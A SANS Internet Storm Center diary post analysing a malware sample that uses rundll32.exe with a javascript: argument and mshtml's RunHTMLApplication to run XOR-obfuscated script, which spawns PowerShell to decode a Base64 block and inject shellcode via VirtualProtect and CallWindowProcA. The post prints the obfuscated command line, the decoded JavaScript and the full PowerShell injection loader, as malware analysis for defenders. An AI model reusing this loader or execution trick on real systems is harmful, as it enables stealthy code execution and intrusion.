Threat Level: green Handler on Duty: Didier Stevens

SANS ISC: InfoSec Handlers Diary Blog InfoSec Handlers Diary Blog


Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!

From RunDLL32 to JavaScript then PowerShell

Published: 2021-05-18
Last Updated: 2021-05-18 07:28:42 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

I spotted an interesting script on VT a few days ago and it deserves a quick diary because it uses a nice way to execute JavaScript on the targeted system. The technique used in this case is based on very common LOLbin: RunDLL32.exe. The goal of the tool is, as the name says, to load a DLL and execute one of its exported function:

C:\> rundll32.exe sample.dll,InvokedFunction()

Many Windows OS functions can be invoked through RunDLL32:

In the sample that was found, RunDLL32 is used to execute some JavaScript. Not a brand new technique but not very common (a retro-search on VT returned less than 50 samples!). To execute some JavaScript code, just call the DLL that provides JavaScript engine features:

C:\> rundll32.exe javascript:\..\mshtml,...

How is JavaScript executed from this command line? As explained above, RunDLL32 expects to receive a DLL as the first argument (here: javascript:“\..\mshtml). To achieve this, it uses LoadLibrary() and tries to load javascript:“\..\mshtml which seems to be a relative path. RunDLL32 goes one directory up and starts to search for mshtml in the common directories. Because Microsoft is doing a nice job, it adds automatically ”.dll” to the DLL name if not found and starts to search again. The DLL is found in the System32 directory as ProcessMonitor shows:

Let's have a look at the sample now (SHA256: 48d597a1c5fa6751b1a3a48922ed15ba5e9ac615de88e53b68057e3ff9dd2acb). The current VT score is 8/58[1]. 

When RunHTMLApplication is invoked it tries to execute the heavily obfuscated JavaScript:

rundll32.exe javascript:uetv1\..\mshtml,RunHTMLApplication ;eval(usxzeso5<odv!@buhwdYNckdbu)#VRbshqu/Ridmm#(:) \
eso5/Dowhsnoldou)#Qsnbdrr(()#he0(<#%25sqrru5<zfvlh!vho23^qsnbdrr!,ghmuds!qsnbdrrhe<%25`sfr|:%25omn8<)'%25sqrru \
5))'%25sqrru5)%25qhe((/q`sdouqsnbdrrhe((/bnll`oemhod/rqmhu(:hdy!)ZUdyu/Dobnehof\\;;@RBHH/FduRushof)ZBnowdsu\\; \
;GsnlC`rd75Rushof)%25omn8Z2\\(((#:eso5/Sto)#$vhoehs$]]rxrvnv75]]vhoenvrqnvdsridmm]]w0/1]]qnvdsridmm/dyd!hdy!%2 \
5dow;he0#-1-0(:|b`ubi)eso5(z|:bmnrd)(:.replace(/./g,function(qkp8{return(String.fromCharCode(qkp8.charCodeAt() \
^1));})) dHJ5e2Z1bmN0aW9uIGdke1BhcmFtIChbUGFyYW1ldGVyKFBvc2l0aW9uPTAsTWFuZGF0b3J5PSRUcnVlKV0gW1R5cGVbXV0gJFBhc \
mFtZXRlcnMsW1BhcmFtZXRlcihQb3NpdGlvbj0xKV0gW1R5cGVdICRSZXR1cm5UeXBlPVtWb2lkXSk7JFR5cGVCdWlsZGVyPVtBcHBEb21haW5 \
dOjpDdXJyZW50RG9tYWluLkRlZmluZUR5bmFtaWNBc3NlbWJseSgoTmV3LU9iamVjdCBTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseU5hbWUoI \
lJlZmxlY3RlZERlbGVnYXRlIikpLFtTeXN0ZW0uUmVmbGVjdGlvbi5FbWl0LkFzc2VtYmx5QnVpbGRlckFjY2Vzc106OlJ1bikuRGVmaW5lRHl \
uYW1pY01vZHVsZSgiSW5NZW1vcnlNb2R1bGUiLCRmYWxzZSkuRGVmaW5lVHlwZSgidCIsIkNsYXNzLFB1YmxpYyxTZWFsZWQsQW5zaUNsYXNzL \
EF1dG9DbGFzcyIsW1N5c3RlbS5NdWx0aWNhc3REZWxlZ2F0ZV0pOyRUeXBlQnVpbGRlci5EZWZpbmVDb25zdHJ1Y3RvcigiUlRTcGVjaWFsTmF \
tZSxIaWRlQnlTaWcsUHVibGljIixbU3lzdGVtLlJlZmxlY3Rpb24uQ2FsbGluZ0NvbnZlbnRpb25zXTo6U3RhbmRhcmQsJFBhcmFtZXRlcnMpL \
...

The interesting piece of code is this one:

.replace(/./g,function(qkp8){return(String.fromCharCode(qkp8.charCodeAt()^1));})

The eval() deobfuscates the payload by doing an XOR with the value 1. Here is the decoded block of code:

try{
  drn4=new ActiveXObject("WScript.Shell");
  (drn4.Environment("Process"))("id1")="rpsst4={gwmi win32_process -filter processid=args};
  nlo9=(&rpsst4((&rpsst4(pid)).parentprocessid)).commandline.split();
  iex ([Text.Encoding]]::ASCII.GetString([Convert]]::FromBase64String(nlo9[3]])))";
  drn4.Run("%windir%\\syswow64\\windowspowershell\\v1.0\\powershell.exe iex env:id1",0,1);
} catch(drn4){}; close();

The payload is extracted from the process command line. The first block (nlo9[3]) is Base64-encoded:

try {
  function gd {
    Param ([Parameter(Position=0,Mandatory=$True)] [Type[]] $Parameters,[Parameter(Position=1)] [Type] $ReturnType=[Void]);
    $TypeBuilder=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName("ReflectedDelegate")), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule  ("InMemoryModule",$false).DefineType("t","Class,Public,Sealed,AnsiClass,AutoClass",  [System.MulticastDelegate]);$TypeBuilder.DefineConstructor("RTSpecialName,HideBySig,Public",[System.Reflection.CallingConventions]::Standard,$Parameters).SetImplementationFlags("Runtime,Managed");
$TypeBuilder.DefineMethod("Invoke","Public,HideBySig,NewSlot,Virtual",$ReturnType,$Parameters).SetImplementation. Flags("Runtime,Managed");
  return $TypeBuilder.CreateType();
  }

  function ga {
    Param ([Parameter(Position=0,Mandatory=$True)] [String] $Module,[Parameter(Position=1,Mandatory=$True)] [String] $Procedure);
    $SystemAssembly=[AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split("\")[-1].Equals("System.dll")};
    $UnsafeNativeMethods=$SystemAssembly.GetType("Microsoft.Win32.UnsafeNativeMethods");return  $UnsafeNativeMethods.GetMethod("GetProcAddress").Invoke($null,@([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr),$UnsafeNativeMethods.GetMethod("GetModuleHandle").Invoke($null,@($Module)))),$Procedure));
   } 

  [Byte[]] $p=[Convert]::FromBase64String($nlo9[4]);
  [Uint32[]] $op=0;
  ([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((ga kernel32.dll VirtualProtect),(gd @([Byte[]],[UInt32],[UInt32],[UInt32[]]) ([IntPtr])))).Invoke($p,$p.Length,0x40,$op);
  ([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((ga user32.dll CallWindowProcA),(gd @([Byte[]],[Byte[]],[UInt32],[UInt32],[UInt32]) ([IntPtr])))).Invoke($p,$p,0,0,0);
} catch{} 
sleep(1);
exit;

This block is responsible for the shellcode injection. The shellcode is located in $nlo9[4].

RunDLL32 is a very good candidate to launch malicious activities because the tool is available in all Windows servers, is signed by Microsoft, and usually trusted to be executed.

[1] https://bazaar.abuse.ch/sample/48d597a1c5fa6751b1a3a48922ed15ba5e9ac615de88e53b68057e3ff9dd2acb/

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 comment(s)
Diary Archives